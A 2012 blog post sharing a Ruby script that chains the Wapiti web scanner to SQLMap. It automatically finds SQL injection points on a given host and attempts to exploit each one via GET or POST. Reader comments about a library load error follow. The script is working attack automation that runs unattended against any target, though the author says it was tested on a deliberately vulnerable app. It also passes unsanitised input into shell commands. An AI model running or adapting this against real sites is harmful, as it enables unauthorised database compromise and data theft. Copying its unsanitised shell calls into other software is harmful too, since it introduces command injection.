Sunday, May 20, 2012

Automating SQLMap with data from wapiti

Wapiti is really fast at finding possible sql injection points in a web application or website. SQLMap is great at figuring out how to exploit these possible injection points. The following script runs Wapiti on a host to find possible injection points, then passes that data to SQLMap to try and exploit. Tested on BadStore and running SVN latest of both Wapiti and SQLMap. You can play around with the arguments I am passing to SQLMap and make the scans a bit more thorough, but at the expense of speed.
#!/usr/bin/env ruby
 
require 'active_support/secure_random'
require 'rexml/document'
 
wapiti_path = '/home/bperry/tools/wapiti/trunk/src/'
sqlmap_path = '/home/bperry/tools/sqlmap/'
 
wapiti_report_path = '/tmp/wapiti_report_' + SecureRandom.uuid + '.xml'
 
remote_host = ARGV[0]
 
p "Running wapiti..."
`#{wapiti_path}wapiti.py #{ARGV[0]} -f xml -o #{wapiti_report_path}`
 
p "Report saved to #{wapiti_report_path}"
 
p "Parsing results"
 
results = []
 
report = ::File.open(wapiti_report_path, "rb")
doc = REXML::Document.new report.read
 
doc.elements.each('/report/bugTypeList/bugType') do |element|
        bug_type = element.attributes["name"]
 
        next if bug_type != "SQL Injection"
 
        p "Parsing " + bug_type
 
        result = {}
        element.elements.each("bugList/bug") do |bug|
                result[:type] = bug_type
               
                bug.elements.each do |child|
                        if child.name == "url"
                                result[:url] = child.text
                        elsif child.name == "parameter"
                                result[:parameter] = child.text
                        end
                end
                results << result
                result = {}
        end
end
 
results.each do |result|
        next if result[:type] !~ /SQL Injection/
        p "Running sqlmap"
       
        if result[:url].index(result[:parameter])
                url = result[:url].gsub("%BF%27%22%28", "abcd")
       
                params = result[:url].split("?")[1].split("&")
 
                skipped_params = []
                params.each do |param|
                        skipped_params << param.split("=")[0] if not param.index("%BF%27%22%28")
                end
                       
                p "Running GET sql injection test on url: " + url
                sqlmap_command = "#{sqlmap_path}sqlmap.py -u \"#{url}\" --smart --skip=\"#{skipped_params.join(",")}\" --technique=EUS --flush-session --fresh-queries --level=2 --batch"
                out = `#{sqlmap_command}`
                printf out
        else
                url = result[:url]
                p "Running POST sql injection test on url: " + url
                p "With data: " + result[:parameter]
 
                parameter = result[:parameter].gsub("%BF%27%22%28", "abcd")
 
                params = result[:parameter].split("&")
 
                skipped_params = []
                params.each do |param|
                        skipped_params << param.split("=")[0] if not param.index("%BF%27%22%28")
                end
 
                sqlmap_command = "#{sqlmap_path}sqlmap.py -u \"#{url}\" --data=\"#{parameter}\"  --skip=\"#{skipped_params.join(",")}\" --smart --technique=EUS --flush-session --fresh-queries --level=2 --batch"
                p sqlmap_command
                sqlmap_output = `#{sqlmap_command}`
               
                printf sqlmap_output
        end
end

4 comments:

  1. Slick piece of Ruby there, my friend. Thanks!

    ReplyDelete
  2. Hello There!
    I install the required gem about active_support and I changed the directories about the location of Wapiti and Sqlmap!Unfortunately, when I am trying to run the script I am getting the following error:

    sqlmap-wapiti.rb:3:in `require': no such file to load -- active_support/secure_random (LoadError)
    from sqlmap-wapiti.rb:3:in `'

    What is your opinion about that?

    Kind Regards

    ReplyDelete
  3. I only use the guid for uniqueness. You may use a random integer as well.

    ReplyDelete